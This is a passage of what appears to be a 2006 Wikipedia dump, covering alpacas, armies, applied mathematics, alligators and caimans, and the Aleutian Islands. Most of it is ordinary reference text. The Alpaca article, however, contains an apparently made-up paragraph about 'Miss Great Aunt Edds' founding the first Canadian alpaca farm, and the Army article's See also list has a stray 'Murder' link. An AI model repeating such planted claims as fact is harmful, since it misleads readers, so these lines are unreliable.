There are two types of alpaca – huacaya (with crimpy sheep-like “wool”) and suri (with silky dreadlocks).  Suris are much rarer than huacaya, estimated to make up between 6 and 10% of the alpaca population.  The suri is probably rarer because it is less hardy in the harsh South American mountain climates, as the style of its fleece offers less insulation against the cold (the suri fleece parts along the spine, exposing the animal to the cold unlike the huacaya fleece which provides excellent cover over the backbone).

Alpaca fleece is a luxurious fibre, similar to sheep’s wool in some respects, although it is lighter in weight, silkier to the touch, warmer and not as prickly. A big trade of alpace fleece exists in the countries where alpacas live, from very simple and not so expensive garments made by the aboriginal communities, to sophisticated products industrially made, that can have significantly high prices. 

White is the predominant colour of alpacas, both suri and huacaya.  This is because selective breeding has favoured white – bulk white fleece is easier to market and can be dyed any colour.  However, alpacas come in 22 natural colours, from a true blue black through browns and fawns to white, and there are silver greys and rose greys as well.

Traditionally, alpaca meat has been eaten fresh, fried or in stews, by Andean inhabitants. There is a resurgent interest in alpaca meat in countries like Peru, where it is relatively easy to find it at upscale restaurants. 

===Behaviour===
Alpacas are social herd animals and should always be kept with others of their kind.  They are gentle and elegant, inquisitive and observant.  As they are a prey animal, rather than a predator, they are cautious and will understandably be nervous if they feel threatened. They like their own space and don’t appreciate another alpaca (or human) getting too close, especially from behind.  They will warn the intruder away by threatening to spit, or by spitting, or by kicking.  Some alpacas kick, some don’t – but yes, they all spit.

Spitting is reserved for other alpacas, not for humans, but sometimes the human can get in the line of fire, or the alpaca aims badly and misses the intended target.  The spit is not pleasant: it is the contents of the stomach – green (regurgitated grass) – and smells foul.  

Alpacas don’t like their heads being touched.  Once they know their owners, and feel confident around them, they will probably allow their backs and necks to be touched, but they won’t appreciate being grabbed, especially by boisterous children.  If an owner need to catch an alpaca, the neck offers a good handle – and holding the neck firmly between the arms is the best way to restrain the animal.

To help alpacas control their internal parasites they have a communal dung pile, which they do not graze.  Generally, males have much tidier dung piles than females who tend to stand in a line and all go at once!

Sheep baa, cows moo and alpacas hum.  Different animals have different voices, but basically it is a &quot;mmm&quot; sound.  However, they make other sounds as well as humming. When danger is present they sound the alarm call, a high pitched shriek, for instance. Some breeds are known to make a sound similar to a &quot;Wark&quot; noise when excited, and they stand proud with their tails sticking out and their ears in a very alert position.  Strange dogs – and even cats – can trigger this reaction.  (They recognise domestic cats for what they are – a relation of the puma, a natural predator of the alpaca in South America.)  

When males fight they also scream, a warbling bird-like cry, presumably intended to terrify the other combatant.  Fighting is to determine dominance, and therefore the right to mate the females in the herd, and it is triggered by testosterone.  This is why males are often kept in separate paddocks – when two dominant males get together war breaks out!

A male in the act of mating, or hoping for a chance to mate, will “orgle.”  This orgling will help to put the female in the mood, and it is believed that it also helps her to ovulate after the act of mating – very necessary for a pregnancy to take place!

Pregnancies last eleven and a half months and the young are called crias.   Soon after the cria is born the female will be ready to mate again, babies are therefore an annual event.  A female is usually ready to mate for the first time at a year of age, but a male can often not work until he is two or even three years old.

Alpacas generally live for more than 20 years – we think!  Conditions and nutrition are better in the USA, Australia, New Zealand and Europe than in South America, so animals live longer and are healthier.  One of the oldest alpacas in New Zealand (fondly known as Vomiting Violet) died at the end of 2005 at the ripe old age of 29.

== History of the scientific name ==
In [[1758]] the four South American camelid species were assigned scientific names. At that time, the alpaca was assumed to be descended from the [[Lama glama|llama]], ignoring similarities in size, fleece and dentition between the alpaca and the [[Vicugna vicugna|vicu&amp;ntilde;a]]. Classification was complicated by the fact that all four species of South American camelid can interbreed and produce fertile offspring. It was not until the advent of DNA technology that a more accurate classification was possible.

Miss Great Aunt Edds started the first out of continent farm. She established the first Canadian Alpaca farm outside of Kingston Ontario. Originally started with only 4 alpacas, the farm grew to no less than 24 alpacas by 2005. The alpacas, originally raised for their fleece, now also serve the local restaurant industry, providing them with delicious alpaca steaks.

In 2001 the alpaca genus classification changed from &lt;i&gt;Lama pacos&lt;/i&gt; to &lt;i&gt;Vicugna pacos&lt;/i&gt; following the presentation of a paper [http://www.journals.royalsoc.ac.uk/app/home/contribution.asp?wasp=bf588d8be995486f872cd4a9008b9f35&amp;referrer=parent&amp;backto=issue,12,18;journal,94,201;linkingpublicationresults,1:102024,1 Genetic analysis reveals the wild ancestors of the llama and the alpaca] on work by [[Dr Jane Wheeler]] et al on alpaca DNA to the [[Royal Society]] showing that the alpaca is descended from the vicuña, not the guanaco.

The relationship between alpacas and vicuñas was disputed for many years, but Wheeler's DNA work proved it. However many academic sites have not caught up with this, so it is something well known to alpaca breeders who have read Dr Hoffman's book, and to Royal Society members who have access to the current classification data, but not more widely known.

== Fiber ==
[[image:Alpaca_cuzco_peru.jpg|thumb|left|Alpaca]]
Alpaca fiber is warmer than sheeps' wool and lighter in weight.  It is soft and luxurious and lacks the &quot;prickle&quot; factor.  However, as with all fleece producing animals, quality varies from animal to animal, and some alpaca produce fibre which is less than ideal.

Alpaca have been bred in South America for hundreds of years (mainly Peru, but also Chile and Bolivia), but in recent years have been exported to other countries.  In countries such as the USA, Australia and New Zealand breeders shear their animals annually, weigh the fleeces and test them for fineness.  With the resulting knowledge they are able to breed heavier fleeced animals with finer fibre.  Fleece weights vary, with the top stud males reaching annual shear weights up to 6kg.

Two types of fleece are produced: huacaya and suri.  It has been proposed that in fact these are two different breeds of animal, and that camelids come in five types - guanaco, vicuna, llama, huacaya (alpaca) and suri.  This view is not commonly accepted however.  

In physical structure, alpaca is somewhat akin to (human?) hair, being very glossy, but its softness and fineness enable the [[spinning|spinner]] to produce satisfactory [[yarn]] with comparative ease.
[[image:alpaca.png|180px|thumb|right|Alpaca]]

==Alpaca fiber industry==

=== History ===
The history of the manufacture of this fiber into cloth is one of the romances of commerce.  The Indians of [[Peru]] used this fibre in the manufacture of many styles of fabrics for centuries before its introduction into Europe as a commercial product.  The first European importations were into [[Spain]].  [[Spain]] transferred the fibre to [[Germany]] and [[France]].  Apparently alpaca yarn was spun in [[England]] for the first time about the year [[1808]].  It does not appear to have made any headway, however, and alpaca fiber was condemned as an unworkable material.  In [[1830]] Benjamin Outram, of Greetland, near Halifax, appears to have reattempted the spinning of this fibre, and, for the second time, alpaca was condemned.  These two attempts to use alpaca were failures owing to the style of fabric into which the yarn was woven &amp;mdash; a species of [[camlet]].  It was not until the introduction of cotton warps into the [[Bradford, England|Bradford]] trade about [[1836]] that the true qualities of alpaca could be developed in the fabric.  Where the [[cotton warp]] and [[mohair]] or alpaca weft plain-cloth came from is not known, but it was this simple yet ingenious structure which enabled [[Titus Salt]], then a young Bradford manufacturer, to use alpaca successfully.  Bradford is still the great spinning and manufacturing centre for alpaca, large quantities of yarns and cloths being exported annually to the continent and to the [[United States]], although the quantities naturally vary in accordance with the fashions in vogue, the typical &quot;alpaca-fabric&quot; being a very characteristic &quot;[[dress-fabric]].&quot; 

[[Image:Alpaca_MidSomerset_210805.jpg|thumb|200px|right| Alpacas on show in the [[United Kingdom|UK]]]]

Owing to the success in the manufacture of the various styles of alpaca cloths attained by Sir Titus Salt and other Bradford manufacturers, a great demand for alpaca wool arose, and this demand could not be met by the native product, for there seems to never have been any appreciable increase in the number of alpacas available.  Unsuccessful attempts were made to acclimatize the alpaca in England, on the European continent and in Australia, and even to cross certain English breeds of [[domestic sheep|sheep]] with the alpaca.  There is, however, a cross between the alpaca and the llama &amp;mdash; a true [[hybrid]] in every sense &amp;mdash; producing a material placed upon the Liverpool market under the name &quot;Huarizo&quot;. Crosses between the alpaca and vicuña have not proved satisfactory.  Current attempts to cross these two breeds are underway at farms in the United States. According to the Alpaca Owners and Breeders Association, alpacas are now being bred in the United States, Canada, Australia, New Zealand, UK, and numerous other places.

The preparing, combing, spinning, weaving and finishing process of alpaca and mohair are similar to that of [[wool]].

Farmers commonly quote the alpaca with the phrase 'love is in the fleece', which describes their love for the animal.

=== Prices ===
The price for alpacas can range from $200 to $360,000, depending on breeding history, sex, and color. One can raise up to 10 alpacas on one [[acre]] (4,047 m&amp;sup2;) as they have a designated area for waste products and keep their eating area away from their waste area to avoid diseases. To get an idea of alpaca prices around the world see [http://www.alpacaseller.com AlpacaSeller]

==Trivia==
*Major league baseball player [[Billy Wagner]] owns 38 Alpacas. [http://www.nydailynews.com/sports/baseball/mets/story/370266p-314976c.html]
*An Alpaca has three stomaches.

==References==
*{{1911}}
*[http://www.journals.royalsoc.ac.uk/app/home/contribution.asp?wasp=bf588d8be995486f872cd4a9008b9f35&amp;referrer=parent&amp;backto=issue,12,18;journal,94,201;linkingpublicationresults,1:102024,1 Genetic analysis reveals the wild ancestors of the llama and the alpaca] paper by Dr Jane Wheeler presented to the [[Royal Society]] in 2001.
*&lt;i&gt;The Complete Alpaca Book&lt;/i&gt;, Dr Eric Hoffman, Bonny Doon Press, California, 2003

==External links==
*[http://www.elevage-de-garenne.com/ Elevage de Garenne : breeding of Alpacas Huacaya and Suri in France]
*[http://www.alpacainfo.com/ The Alpaca Owners and Breeders Association]

*http://www.surifarm.de
{{Commons|Lama pacos|Alpaca}}

*[http://www.alpacas.com/AlpacaLibrary/ Alpaca Library]


{{Camelids}}

[[Category:Fauna of Chile]]
[[Category:Camelids]]
&lt;!-- Interwikis found using http://vs.aka-online.de/globalwpsearch/ --&gt;
&lt;!-- Search for Lama pacos --&gt;

[[ar:ألبكة]]
[[ca:Alpaca]]
[[cs:Alpaka]]
[[de:Alpaka (Kamel)]]
[[es:Lama pacos]]
[[eo:Alpako]]
[[fr:Alpaga]]
[[io:Alpako]]
[[ia:Alpaca]]
[[it:Lama pacos]]
[[he:אלפקה]]
[[lt:Alpaka]]
[[nl:Alpaca (zoogdier)]]
[[ja:アルパカ]]
[[pl:Alpaka (zwierzę)]]
[[pt:Alpaca]]
[[sv:Alpacka (lama)]]
[[uk:Альпака]]</text>
    </revision>
  </page>
  <page>
    <title>Army</title>
    <id>1376</id>
    <revision>
      <id>42071921</id>
      <timestamp>2006-03-03T17:01:00Z</timestamp>
      <contributor>
        <ip>66.4.80.129</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Army''' (from [[French language|French]] ''armée'') can, in some countries, refer to any [[armed force]]. More commonly, however, it is only used specifically to refer to a land force of the [[military]].

Within a national army, an '''army''' can also refer to a large [[formation (military)|formation]], usually comprising one or more [[corps]].

'''Army''' is also often used in the description or title of military or [[paramilitary]] organisations which are not part of a country's official armed forces (and may well be illegal), such as the [[Irish Republican Army]], and also in some non-military organisations organised on a quasi-military basis, such as the [[Salvation Army]] and the [[Church Army]].

==Field Army==

A Field Army is composed of a headquarters, army troops, a variable number of corps, and a variable number of divisions. A battle is influenced at the Field Army level by transferring divisions and reinforcements from one corps to another to increase the pressure on the enemy at a critical point.

== National land forces ==

A national army is usually the arm of the military service which conducts land-based warfare (for example, the [[United States Army]], or the [[France|French]] [[Armée de Terre]]). 

Most armed forces make considerable distinction between the army or land forces, the [[navy]], and the [[air force]], often maintaining three independent organizations.  Many air forces were formerly part of an army; historically, the [[United States Air Force]] originated as part of the [[United States Army]], for example.

Modern armies comprise several branches (also called ''services'', or ''[[administrative corps]]'').  These may include the [[combat]] branches: [[infantry]], [[armoured]], [[artillery]], and [[combat engineers]], as well as the [[support]] branches: [[Military communications |communications]], [[Military intelligence |intelligence]], [[Combat medic |medics]], [[Military logistics |supply]], and [[army aviation]] (as opposed to a national air force).

== Formations ==

An '''army''' can also be a large [[military organization]] ([[formation (military) |formation]]) comprising one or more [[corps]]. A particular army is named or numbered to distinguish it from military land forces in general&amp;mdash;for example, the [[U.S. First Army]] and the [[Army of Northern Virginia]].  In the [[British Army]] it is normal to spell out the ordinal number of an army (e.g. First Army), whereas lower formations use figures (e.g. 1st Division). 

Armies (as well as [[army group]]s and [[Theater (military)|theater]]s) are large formations which vary significantly between armed forces in size, composition, and scope of responsibility.

In the [[Soviet Union |Soviet]] [[Red Army]], &quot;armies&quot; were actually [[corps]]-sized formations, subordinate to an army-sized &quot;[[Front (Soviet Army)|front]]&quot; in wartime.  In peacetime, a [[Army (Soviet Army)|Soviet army]] was usually subordinate to a [[military district]].

For the hierarchy of land force organizations, see [[military organization]].

== See also ==

* [http://www.polictera.com.my Ex-Police &amp; Army Personnel Association of Malaysia]
* [[List of armies]]
* [[List of armies by name]]
* [[List of armies by number]]
* [[List of countries without an army]]
* [[War]]
* [[Military history]]
* [[Military science]]
* [[Marines]]
* [[Citizen army]]
* [[Murder]]

[[Category:Military unit types]]
[[Category:Armies| ]]
[[Category:Types of military]]

[[ca:Exèrcit]]
[[cs:Armáda]]
[[da:Hær]]
[[de:Heer]]
[[es:Ejército]]
[[fa:&amp;#1575;&amp;#1585;&amp;#1578;&amp;#1588;]]
[[fr:Armée]]
[[he:&amp;#1510;&amp;#1489;&amp;#1488;]]
[[id:Militer]]
[[io:Armeo]]
[[nl:Leger]]
[[ka:სახმელეთო ჯარები]]
[[ja:&amp;#38520;&amp;#36557;]]
[[no:Armé]]
[[pl:Armia]]
[[pt:Exército]]
[[ro:Armată]]
[[ru:&amp;#1040;&amp;#1088;&amp;#1084;&amp;#1080;&amp;#1103;]]
[[sq:Ushtria]]
[[simple:Army]]
[[sl:Vojska]]
[[fi:Armeija]]
[[sv:Armé]]
[[zh:&amp;#38470;&amp;#20891;]]</text>
    </revision>
  </page>
  <page>
    <title>Air Force</title>
    <id>1377</id>
    <revision>
      <id>15899865</id>
      <timestamp>2004-09-10T16:03:50Z</timestamp>
      <contributor>
        <username>Neutrality</username>
        <id>68411</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Air force]]</comment>
      <text xml:space="preserve">#REDIRECT [[Air force]]</text>
    </revision>
  </page>
  <page>
    <title>Applied mathematics</title>
    <id>1379</id>
    <revision>
      <id>40515065</id>
      <timestamp>2006-02-21T03:29:45Z</timestamp>
      <contributor>
        <username>Heja helweda</username>
        <id>565030</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Applied mathematics''' is a branch of [[mathematics]] that concerns itself with the application of mathematical knowledge to other domains. Such applications include [[numerical analysis]], [[mathematical physics]], mathematics of [[engineering]], [[linear programming]], [[Optimization (mathematics)|optimization]] and [[operations research]], [[continuous modelling]], [[control theory]], [[mathematical biology]] and [[bioinformatics]], [[information theory]], [[game theory]], [[probability]] and [[statistics]], [[mathematical economics]], [[financial mathematics]], [[actuarial science]], [[cryptography]] and hence [[combinatorics]] and even [[finite geometry]] to some extent, [[graph theory]] as applied to [[network theory|network analysis]], and a great deal of what is called [[computer science]]. 

The question of what is applied mathematics does not answer to logical classification so much as to the sociology of professionals who use mathematics. The mathematical methods are usually applied to the specific problem field by means of a [[mathematical model]] of the system.

Engineering mathematics describes physical processes, and so is often indistinguishable from [[theoretical physics]]. Important subdivisions include: [[fluid dynamics]], [[acoustic theory]], [[Maxwell's equations]] that govern [[electromagnetism]], [[mechanics]], [[numerical relativity]], etc.

Fundamental applied mathematics is taught at second-level in some countries, such as [[Ireland]], where it is a minority option at [[Leaving Certificate]].

== See also ==
*[[pure mathematics]]

== External links ==
{{Wikibookspar|School of Mathematics|Applied Mathematics}}
* The [http://www.siam.org/ Society for Industrial and Applied Mathematics] is a professional society dedicated to promoting the interaction between mathematics and  other scientific and technical communities.

[[Category:Applied mathematics]]

[[da:Anvendt matematik]]
[[de:Angewandte Mathematik]]
[[es:Matemática aplicada]]
[[eo:Aplika matematiko]]
[[fa:ریاضیات کاربردی]]
[[fr:Mathématiques appliquées]]
[[he:מתמטיקה שימושית]]
[[pt:Matemática aplicada]]
[[ro:Matematică aplicată]]
[[ru:Прикладная математика]]
[[su:Matematik terapan]]
[[th:คณิตศาสตร์ประยุกต์]]
[[vi:Toán học ứng dụng]]
[[zh:应用数学]]</text>
    </revision>
  </page>
  <page>
    <title>Alligatoridae</title>
    <id>1380</id>
    <revision>
      <id>38284009</id>
      <timestamp>2006-02-05T08:41:55Z</timestamp>
      <contributor>
        <username>Cuchullain</username>
        <id>196153</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Alligators and Caimans
| image = alligator.jpg
| image_width = 250px
| image_caption = [[American Alligator]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Reptile|Reptilia]]
| ordo = [[Crocodilia]]
| familia = '''Alligatoridae'''
| familia_authority = [[John Edward Gray|Gray]], 1844
| subdivision_ranks = Genera
| subdivision = 
''Alligator'' &lt;br /&gt;
''Caiman'' &lt;br /&gt;
''Melanosuchus'' &lt;br /&gt;
''Paleosuchus''
}}
'''Alligators''' and '''caimans''' are [[reptile]]s closely related to the [[crocodile]]s and forming the [[family (biology)|family]] '''Alligatoridae''' (sometimes regarded instead as the [[subfamily]] '''Alligatorinae'''). Together with the [[Gharial]] (family Gavialidae) they make up the [[order (biology)|order]] [[Crocodilia]].

[[Alligator]]s differ from crocodiles principally in having wider and shorter heads, with more obtuse snouts; in having the fourth, enlarged tooth of the under jaw received, not into an external notch, but into a pit formed for it within the upper one; in lacking a jagged fringe which appears on the hind legs and feet of the crocodile; and in having the toes of the hind feet webbed not more than half way to the tips. In general, the more dangerous crocodilians to human beings tend to be [crocodiles rather than alligators.

[[Image:Florida Alligator.jpg|left|200px|Alligator]]

Alligators proper occur in the fluvial deposits of the age of the [[Cretaceous|Upper Chalk]] in Europe, where they did not die out until the [[Pliocene]] age.

The true alligators are now restricted to two species, ''[[American Alligator|A. mississippiensis]]'' in the [[Southern United States]], which grows up to 4 m (12 ft) in length, and the small ''[[Chinese Alligator|A. sinensis]]'' in the [[Yangtze River]], [[People's Republic of China]].  Their name derives from the [[Spanish language|Spanish]] ''el lagarto'', &quot;the lizard&quot;).

In [[Central America|Central]] and [[South America]] alligators are represented by five species of the [[genus]] ''[[Caiman]]'', which differs from the alligator by the absence of a bony septum between the nostrils, and the ventral armour is composed of overlapping bony scutes, each of which is formed of two parts united by a suture. Some authorities further divide this genus into three, splitting off the smooth-fronted caimans into a genus ''Paleosuchus'' and the Black Caiman into ''Melanosuchus''.     

''C. crocodilus'', the Spectacled Caiman, has the widest distribution, from southern Mexico to the northern half of Argentina, and grows to a modest size of about 7 feet. The largest, attaining an enormous bulk and a length of 20 ft., is the near-extinct ''Melanosuchus niger'', the Jacare-assu, Large, or Black Caiman of the Amazon. The [[Black Caiman]] is the only member of the alligator family posing the same danger to humans as the larger species of the [[crocodile]] family.  

Although the Caiman has not been studied in-depth, it has been discovered that their mating cycles (previously thought to be spontaneous or year-round) are linked to the rainfall cycles and the river levels in order to increase their offspring's chances of survival.

Some crocodiles can be found in salty water, but most alligators stay in fresh water.

&lt;br clear=left&gt;
==Species==

* '''ORDER [[Crocodilia]]'''
** '''Family Alligatoridae'''
*** Genus ''[[Leidyosuchus]]'' (extinct)
*** Genus ''[[Deinosuchus]]'' (extinct)
*** '''Subfamily Diplocynodontinae'''
**** Genus ''[[Tadzhikosuchus]]'' (extinct)
**** Genus ''[[Baryphracta]]'' (extinct)
**** Genus ''[[Diplocynodon]]'' (extinct)
*** '''Subfamily Alligatorinae'''
**** Genus ''[[Akantosuchus]]'' (extinct)
**** Genus ''[[Albertochampsa]]'' (extinct)
**** Genus ''[[Chrysochampsa]]'' (extinct)
**** Genus ''[[Hassiacosuchus]]'' (extinct)
**** Genus ''[[Navahosuchus]]'' (extinct)
**** Genus ''[[Ceratosuchus]]'' (extinct)
**** Genus ''[[Allognathosuchus]]'' (extinct)
**** Genus ''[[Hispanochampsa]]'' (extinct)
**** Genus ''[[Arambourgia]]'' (extinct)
**** Genus ''[[Procaimanoidea]]'' (extinct)
**** Genus ''[[Wannaganosuchus]]'' (extinct)
**** Genus ''[[Alligator]]''
***** ''[[Alligator prenasalis]]'' (extinct)
***** ''[[Alligator mcgrewi]]'' (extinct)
***** ''[[Alligator olseni]]'' (extinct)
***** [[Chinese Alligator]], ''Alligator sinensis ''
***** ''[[Alligator mefferdi]]'' (extinct)
***** [[American Alligator]], ''Alligator mississippiensis ''
*** '''Subfamily Caimaninae'''
**** Genus ''[[Necrosuchus]]'' (extinct)
**** Genus ''[[Eocaiman]]'' (extinct)
**** Genus ''[[Paleosuchus]]'' (extinct)
***** [[Cuvier's Dwarf Caiman]], ''Paleosuchus palpebrosus'' 
***** [[Smooth-fronted Caiman]], ''Paleosuchus trigonatus''
**** Genus ''[[Parussaurus]]'' (extinct)
**** Genus ''[[Mourasuchus]]'' (extinct)
**** Genus ''[[Orthogenysuchus]]'' (extinct)
**** Genus ''[[Caiman]]''
***** [[Yacare Caiman]], ''Caiman yacare'' 
***** [[Spectacled Caiman]], ''Caiman crocodilus crocodilus ''
****** Rio Apaporis Caiman, ''C. c. apaporiensis ''
****** Brown Caiman, ''C. c. fuscus''
***** ''[[Caiman lutescans]]'' (extinct)
***** [[Broad-snouted Caiman]], ''Caiman latirostris ''
**** Genus ''[[Melanosuchus]]''
***** ''[[Melanosuchus fisheri]]'' (extinct)
***** [[Black Caiman]], ''Melanosuchus niger''

==Cultural aspects==

In [[Indigenous peoples of the Americas|Native American]] and [[African American]] [[folklore]], the alligator is revered, especially the teeth, which can be worn as a charm against [[witchcraft]] and [[poison]].

Often, it is the butt of practical jokes by [[trickster]]s like [[Brer Rabbit]].

An [[urban legend]] states that people buy baby alligators after visiting [[Florida]] or other places where they are native and flush them down the toilet once they get big.  The story goes that full grown alligators exist in the sewers of cities like [[New York City]].  This is impossible, however, because without UV rays from sunlight, alligators cannot properly metabolize calcium, resulting in metabolic bone disease and eventually death. Small released alligators and caimans, though, are occasionally found in northern lakes.  

Alligator skin was once a highly prized [[leather]], and was farmed in some areas, as pictured in the panoramic image below.  Alligator is sometimes eaten as an exotic meat.

[[image:Largealligatorfarm_panorama.jpg|thumb|400px|none|South Beach Alligator Farm ([http://memory.loc.gov/pnp/pan/6a03000/6a03500/6a03511u.tif 5MB uncompressed tif]).]]

==Pop culture references==
A top hit from [[1956 in music|1956]] was &quot;[[See You Later Alligator]]&quot;, as sung by [[Bill Haley &amp; His Comets]].

[[Category:Crocodiles]]

[[ca:Caiman]]
[[de:Alligatoren]]
[[es:Alligatoridae]]
[[fr:Alligatoridae]]
[[he:קיימן]]
[[la:Alligatoridae]]
[[nl:Alligators]]
[[pl:Aligatorowate]]
[[pt:Jacaré]]
[[sv:Alligatorer och kajmaner]]</text>
    </revision>
  </page>
  <page>
    <title>Aleutian Islands</title>
    <id>1381</id>
    <revision>
      <id>40070885</id>
      <timestamp>2006-02-17T22:46:13Z</timestamp>
      <contributor>
        <ip>205.188.116.5</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[image:Aleutians_aerial.jpg|thumb|250px|Looking down the Aleutians from an airplane.]]
The '''Aleutian Islands''' (possibly from [[Chukchi language|Chukchi]] ''aliat'', &quot;[[island]]&quot;) are a chain of more than 300 small volcanic islands forming an [[island arc]] situated in the Northern [[Pacific Ocean]], occupying an area of 6,821 sq mi (17,666 sq km) and extending about 1,200 mi (1,900 km) westward from the [[Alaska Peninsula]] toward the [[Kamchatka Peninsula]]. Crossing longitude 180°, they are the westernmost part of the [[United States]] (and technically also the easternmost; ''see [[Extreme points of the United States]]''). Nearly all of the [[archipelago]] is part of [[Alaska]] and usually considered as being in the &quot;[[Alaskan Bush]]&quot;, but the extreme western end is in [[Russia]]. The islands with their 57 volcanoes are located in the northern part of the [[Pacific Ring of Fire]].

==Geography==
[[Image:Aleutians-space.jpg|thumb|250px|Aleutians seen from space]]
The islands, known before 1867 as the Catherine Archipelago, comprise four groups&amp;mdash; the [[Fox Islands|Fox]], [[Andreanof Islands|Andreanof]], [[Rat Islands|Rat]] and [[Near Islands]]. They are all located between 52 degrees and 55 degrees North latitude and 172 degrees East and 163 degrees West longitude.

The axis of the archipelago near the mainland of Alaska has a southwest trend, but near the 129th meridian its direction changes to the northwest. This change of direction corresponds to a curve in the line of [[volcanic]] fissures which have contributed their products to the building of the islands. Such curved chains are repeated about the Pacific Ocean in the [[Kuril Islands]], the [[Japan|Japanese]] chain and in the [[Philippines]]. All these island arcs are at the edge of the [[Pacific Plate]] and experience lots of [[seismic]] activity, but are still habitable; the Aleutians lie between the Pacific and North American [[plate tectonics|tectonic plates]]. The general elevation is greatest in the eastern islands and least in the western. The island chain is really a western continuation of the [[Aleutian Range]] on the mainland. 

[[Image:North-Pacific-air-routes.png|thumb|250px|left|Active Aleutian volcanoes]]
The great majority of the islands bear evident marks of volcanic origin, and there are numerous volcanic cones on the north side of the chain, some of them active; many of the islands, however, are not wholly volcanic, but contain  crystalline or sedimentary rocks, and also amber and beds of [[lignite]]. The coasts are rocky and surf-worn, and the approaches are exceedingly dangerous, the land rising immediately from the coasts to steep, bold mountains.

The volcano [[Makushin]] (5691 ft/1,735 m) is visible from [[Unalaska, Alaska|Unalaska]], and the volcanic [[islet]]s [[Bogoslof]] and [[Grewingk]], which rose from the sea in 1796 and 1883 respectively, lie about 30 miles (48 km) west of the bay.

&lt;br clear=both&gt;

==Climate==
[[Image:AleutianIslands.jpg|thumb|310px|Aleutian Islands]]
The climate of the islands is oceanic, with moderate and fairly uniform temperatures and heavy rainfall. Fogs are almost constant. The summers are much cooler than on the mainland at [[Sitka]], but the winter temperature of the islands and of the [[Alaska Panhandle]] is very nearly the same. The mean annual temperature for [[Unalaska]], the most populated island of the group, is about 38 degrees Fahrenheit (3.4 degrees Celsius), being about 30 °F (&amp;minus;1.1 °C) for January and about 52 °F (11.1 °C) for August. The highest and lowest temperatures recorded on the islands are 78 °F (26 °C) and 5 °F (&amp;minus;15 °C), respectively. The average annual amount of rainfall is about 80 in (2,030 mm), and Unalaska, with about 250 rainy days per year, is said to be the rainiest place within the territory of the [[United States]].

==Economy==
The growing season lasts about 135 days, from early in May till late in September, but agriculture is limited to the raising of a few vegetables. With the exception of some stunted [[willow]]s, the islands are practically destitute of trees, but are covered with a luxuriant growth of herbage, including [[Poaceae|grass]]es, [[sedge]]s and many flowering plants. On the less mountainous islands, the raising of [[domestic sheep|sheep]] and [[reindeer]] was believed to be practicable.  

People living in the Aleutian Islands developed fine skills in hunting and basketry. Hunters made their weapons and watercraft. The baskets are noted for being finely woven with carefully shredded stalks of [[beach rye]].

==Demographics==
The people refer to themselves as Unangan, and have been called &quot;[[Aleut]]&quot;. 

The [[Aleut language]] is one of the two main branches of the [[Eskimo-Aleut_languages|Eskimo-Aleut]] language family. This family is not known to be related to any others.

In the [[2000]] [[census]], there was a population of 8,162 on the islands, of which 4,283 were living in the main settlement of [[Unalaska, Alaska|Unalaska]].

==History==
Because of the location of the islands, stretching like a broken bridge from Asia to America, many anthropologists believe they were a route of the first human occupants of the Americas. The earliest known evidence of human occupation in the Americas is much further south, in [[New Mexico]] and [[Peru]]; the early human sites in Alaska have probably been submerged by rising waters during the current [[interglacial]] period.

Explorers, traders, colonists, and missionaries arrived from [[Russia]] beginning in [[1741]]. 

In 1741 the Russian government sent out [[Vitus Bering]], a [[Denmark|Dane]] in the service of Russia, and [[Alexei Ilyich Chirikov|Alexei Chirikov]], a Russian, in the ships ''[[Saint Peter (ship)|Saint Peter]]'' (''Swiatoj Pietr'') and ''[[Saint Paul (ship)|Saint Paul]]'' on a voyage of discovery in the Northern [[Pacific Ocean|Pacific]]. After the ships were separated by a storm, Chirikov discovered several eastern islands of the Aleutian group, and Bering discovered several of the western islands, finally being wrecked and losing his life on the island of the [[Komandorski Islands]] (Commander Islands) that now bears his name ([[Bering Island]]). The survivors of Bering's party reached the [[Kamchatka Peninsula]] in a boat constructed from the wreckage of their ship, and reported that the islands were rich in fur-bearing animals.

Siberian fur hunters flocked to the Commander Islands and gradually moved eastward across the Aleutian Islands to the mainland. In this manner [[Russia]] gained a foothold on the northwestern coast of North America. The Aleutian Islands consequently belonged to Russia, until that country [[Alaska Purchase|transferred]] all its possessions in North America to the United States in [[1867]]. 

The Russians were ruthless in their expansion, using technology and cruelty to demand tribute and labor from the Aleuts, especially for [[sea otter]] hunting. The Russians captured otter pelts from the Aleutian Islands, through the [[Gulf of Alaska]], along the Alaska Panhandle, and south, even to [[California]]. Some Aleuts were moved to the [[Pribilof Islands]] so that fur seals could be captured there as well.

By [[1760]], the Russian merchant [[Adriian Tolstykh]] had made a detailed census in the vicinity of [[Adak]] and extended Russian citizenship to the Aleuts.

Despite some attempts to eliminate slavery and reduce cruel treatment in the [[1790s]], the [[Shelikov company]] depended on the labor of Aleut hunters to collect sea otter pelts.

During his third and last voyage, in [[1778]], Captain [[James Cook]] surveyed the eastern portion of the Aleutian archipelago, accurately determined the position of some of the more important islands and corrected many errors of former navigators. 

One of the first [[Christianity|Christian]] missionaries to arrive in the Aleutian Islands was a monk named Herman, who arrived in [[1793]] with nine other [[Russian Orthodox]] monks and priests. Within two years, he was the only survivor of that party. He settled on [[Spruce Island]], near [[Kodiak Island]], and often defended the rights of the Aleuts against the Russian trading companies. He is now known in the Orthodox Church as St. [[Herman of Alaska]].

Another early Christian missionary of the [[Russian Orthodox Church]] was Father Veniaminov who arrived in Unalaska in [[1824]]. He was named Bishop Innokentii in 1840 and moved to [[Sitka]]. He is now known in the Orthodox Church as [[Saint Innocent of Alaska]].

In [[1906]] a new volcanic cone rose between the islets of Bogoslof and Grewingk, near Unalaska, followed by another in [[1907]]. These cones were nearly demolished by an explosive eruption on [[1 September]] [[1907]].  

The principal settlements were on Unalaska Island. The oldest was Iliuliuk (also called Unalaska), settled in 1760-1775, with a customs house, an [[Orthodox]] church, and a [[Methodist]] mission and orphanage, and the headquarters for a considerable fleet of United States [[revenue cutter]]s which  patrol the [[sealing]] grounds of the [[Pribilof Islands]]. The first public school in Unalaska opened in 1883. Adjacent is [[Dutch Harbor]] (so named, it is said, because a Dutch vessel was the first to enter it), which is an important port for [[Bering Sea]] commerce.  

The [[Congress of the United States|U.S. Congress]] extended American citizenship to all Indians (and this law has been held to include the indigenous peoples of Alaska) in [[1924]].

